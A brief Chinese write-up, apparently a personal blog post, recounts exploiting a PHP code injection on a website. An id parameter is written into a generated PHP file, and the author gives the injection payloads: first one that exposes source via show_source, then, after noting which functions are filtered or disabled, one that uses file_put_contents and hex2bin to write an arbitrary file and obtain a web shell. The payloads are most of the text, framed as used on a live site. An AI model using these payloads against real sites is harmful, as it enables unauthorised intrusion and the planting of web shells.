记一次代码注入
遇到一个站点当对一个id参数进行传参时,会自动生成一个id值的php文件

当输入80000",出现了500错误,猜测可能将参数写入了新生成的文件

于是乎输入payload
1 | 5555";show_source(__FILE__);$a=" |
看到了代码注入

php版本为7.3
很多函数被禁用
并且存在中间件的拦截,比如phpinfo

后经过测试
eval,base64_decode以及命令执行均被拦截
assert为拦截,但是被disable_functions禁用了
最终写文件payload
1 | 80000";show_source(__FILE__);@file_put_contents($_REQUEST[8],hex2bin($_REQUEST[9].$_REQUEST[10]));$a=" |

最终生成shell







